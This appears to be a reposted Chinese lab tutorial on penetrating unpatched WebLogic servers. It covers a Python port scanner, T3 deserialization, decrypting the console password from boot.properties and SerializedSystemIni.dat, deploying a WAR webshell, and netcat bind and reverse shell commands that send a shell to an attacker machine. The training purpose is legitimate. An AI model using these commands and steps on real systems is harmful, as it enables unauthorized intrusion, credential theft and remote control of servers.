内容简介:双休刚刚过去,利用假期2天时间成功上了个王者,变成了好友第一,美滋滋,什么时候能成为渗透技术第一就好了。
*本文原创作者:zhukaiang7,本文属FreeBuf原创奖励计划,未经许可禁止转载
前言
双休刚刚过去,利用假期2天时间成功上了个王者,变成了好友第一,美滋滋,什么时候能成为渗透技术第一就好了。
一上班就接到了老大的要求,需要给最近入职的小弟深入培养一下渗透的技术,所以有了这篇文章,这次的环境如下:
1. 攻击机windows10 192.168.2.104
2. 靶机ip:
192.168.2.109(linux Ubantu) 192.168.2.111(windows2008R264位)
为了让读者看的更直观更容易理解,我分别配置了2个靶机
第一步:启动靶机服务
分别为 linux 和windows
靶机配置过程过于简单这里直接省略,有问题可以留言,我看到会回复的。
第二步:发现weblogic服务
当我们拥有客户授权的情况下,一般采取nmap,masscan甚至是 Python 自己编写的端口扫描工具,各有优缺。
网上开源很多,这里从网上拿来一款开源的扫描器(基于python2)。
代码如下:
# -*- coding: utf-8 -*- import optparse from threading import * from socket import * screenLock=Semaphore(value=1) def connScan(tgtHost,tgtPort): try: connSkt = socket(AF_INET,SOCK_STREAM) connSkt.connect((tgtHost,tgtPort)) connSkt.send('ViolentPython\r\n') results=connSkt.recv(100) screenLock.acquire()#打印前的加锁操作。 print ('[+.+] %d/tcp 开启'% tgtPort+' '+str(results)).decode('UTF-8').encode('GBK') # print ('[+.+] '+str(results)) connSkt.close() except: screenLock.acquire() print ("[-.-] %s/tcp 关闭"%tgtPort).decode('UTF-8').encode('GBK') finally: screenLock.release()#终止阻塞其他线程前需要执行的代码。 connSkt.close() def portScan(tgtHost,tgtPorts): try: tgtIP=gethostbyname(tgtHost) except: print ("[-.-] 报告老大不能解析目标 '%s': 未知目标"%tgtHost).decode('UTF-8').encode('GBK') return try: tgtName=gethostbyaddr(tgtIP) print ('\n[+.+] 已经获得目标地址:'+tgtName[0]).decode('UTF-8').encode('GBK') except: print ('\n[+.+] 已经获得目标地址:'+tgtIP).decode('UTF-8').encode('GBK') setdefaulttimeout(1) for tgtPort in tgtPorts: t=Thread(target=connScan,args=(tgtHost,int(tgtPort)))#多线程 t.start() def main(): print ("皮皮虾正在探路请耐心等待...").decode('UTF-8').encode('GBK') parser=optparse.OptionParser('usage %prog -H' +'<target host> -p <target port>') parser.add_option('-H',dest='tgtHost',type='string',help='specify target host') parser.add_option('-P',dest='tgtPort',type='string',help='specify target post') (options,args)=parser.parse_args() tgtHost = options.tgtHost tgtPorts = str(options.tgtPort).split(',') if (tgtHost==None)|(tgtPorts[0]==None): print ('[-.-] 老大你忘了输入目标地址和端口啦.').decode('UTF-8').encode('GBK') exit(0) portScan(tgtHost,tgtPorts) if __name__ == '__main__': print ("欢迎使用本扫描器,我是皮皮虾").decode('UTF-8').encode('GBK') main()
具体编写指南可以参考原文链接,适合刚开始学习python的朋友们
https://bbs.ichunqiu.com/thread-40994-1-1.html
扫描结果为关闭,换个端口试试
为什么为造成这种情况呢,分析原因:
可能因为我们这个py版端口扫描是调用的socket模块,给端口发送一些垃圾数据,如果服务端返回数据才代表我们这个端口开放,所以7001端口没有给我们想要的数据,脚本就认为它没有开放。
祭出我们强大的Nmap
发现我们服务器靶机确实是开放了7001端口的,^…^。
第三步:对weblogic服务渗透的思路
发现weblogic服务,第一反应是常见的能getshell的漏洞
比如后台弱口令,密码是base64编码的,可以用burpsuite增加编码参数,也可以用网上开源的一些 工具 进行爆破,然后war包部署拿shell。
再比如对weblogic的T3协议,反序列化命令执行,直接执行系统命令。
像目录样例操纵和拒绝服务这些鸡肋的漏洞我们这暂且不谈。这个靠的是渗透经验,就像上次参加一个众测,网站出现了action结尾的网址时,立马直接struts2命令执行扫了一下直接getshell菜刀连上,高危漏洞吧,当然了,跟大佬们一起挖洞众测,这么简单的漏洞,比的就是速度了,后面有空会分享一些挖洞的经验,这里暂且不提。
第四步:对weblogic服务的渗透
我们这里安装的weblogic是10.3.6,没有打补丁,也没有禁用t3协议。我们可以使用工具进行反序列化利用。
(windows)
(linux)
然后执行一系列命令查看我们入侵靶机的环境
因为是靶机,直接给的administrator权限,也开放了3389端口,当然了,在实战过程中,我一开始很少连接3389上去,不安全也不可靠。
常规套路,net user增加用户,给权限等,注意如果不是公网的服务器,Web服务端口是映射出来的化,我们这边还需要给我们自己这边的攻击机弹个shell,有很多工具,这里用瑞士军刀演示。
因为是windows我们先上传瑞士军刀到服务器上,然后使用命令,转发cmd到我们的攻击机上。从weblogic反序列化得到的执行权限无法反弹,所以我们需要先上传一个大马来执行命令。因为是靶机并没有部署web环境,我们再来看控制台。
控制台密码在目录
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\security\boot.properties
得到了加密的用户密码:
我们开始破解它
第五步:破解weblogic控制台密码
jdk安装说明:
https://www.cnblogs.com/eagle6688/p/7873477.html
破解工具:
https://codeload.github.com/NetSPI/WebLogicPasswordDecryptor/zip/master
插件:
http://repo2.maven.org/maven2/org/bouncycastle/bcprov-ext-jdk16/1.46/bcprov-ext-jdk16-1.46.jar
将插件复制到目录
C:\Program Files\Java\jdk1.8.0_201\jre\lib\ext(jdk环境)
破解 weblogic 控制台密码需要 2 个条件
SerializedSystemIni.dat 密钥文件
(c:\Oracle\Middleware\user_projects\domains\base_domain\security\SerializedSystem Ini.dat)
boot.properties 控制台用户名和密码
(C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\security\boot.properties)
编译下载的破解文件
Javac WebLogicPasswordDecryptor.java
破解
记住 破解的时候 java 和javac 版本一定要一样,如果是后面新安装的java和之前的java会冲突,需要到系统变量中修改一下,否则会出现下图的报错
破解成功之后的
账号:weblogic
密码:weblogic123
原来是弱口令,嘿嘿。所以大家下次注意,遇到这种控制台,第一反应就是去手动尝试一些弱口令。当然也可以使用暴力破解
可以使用python脚本:
https://github.com/b4zinga/Explib/blob/master/weblogic.py
有了账号密码,就是常规套路部署war包了。
/**/
制作war包大马,把大马以zip格式压缩然后重命名为xxx.war即可
1、登录控制台(以Linux靶机为例)
访问登陆控制台
http://192.168.43.22:7001/console
选择上传文件
上传我们制作的war包大马
上传的路径
然后一直下一步
激活更改
选择刚部署的项目启动
随后访问 http://192.168.43.22:7001/cmd/cmd.jsp 即可打开大马
(linux)
(windows)
第六步:弹shell
在windows下:
靶机执行:
nc.exe -l -p 8888 -t -e cmd.exe
本机执行:
nc.exe -nvv 192.168.2.111 8888
在linux下:
靶机执行:
nc 192.168.2.104 8888 -e /bin/sh
本机执行:
nc.exe -lvnp 8888
我们看到-e参数报错了这是因为
Ubuntu上默认安装的是netcat-openbsd,而不是经典的netcat-traditional
sudo apt-get -y install netcat-traditional
然后sudo update-alternatives –config nc,选择2
Linux靶机执行:nc -vlp 8888 -e /bin/bash
本机执行:nc.exe 192.168.2.109 8888
以上所述就是小编给大家介绍的《Web渗透实验:基于Weblogic的一系列漏洞》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 网站漏洞渗透检测过程与修复方案
- Web渗透之文件上传漏洞总结
- 网站渗透测试之域名跳转劫持漏洞详细分析
- 渗透测试及漏洞挖掘技巧干货分享——客户端JavaScript静态分析
- Faraday:一款多功能协同式渗透测试工具&漏洞管理平台
- Web渗透测试笔记
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Trading and Exchanges
Larry Harris / Oxford University Press, USA / 2002-10-24 / USD 95.00
This book is about trading, the people who trade securities and contracts, the marketplaces where they trade, and the rules that govern it. Readers will learn about investors, brokers, dealers, arbit......一起来看看 《Trading and Exchanges》 这本书的介绍吧!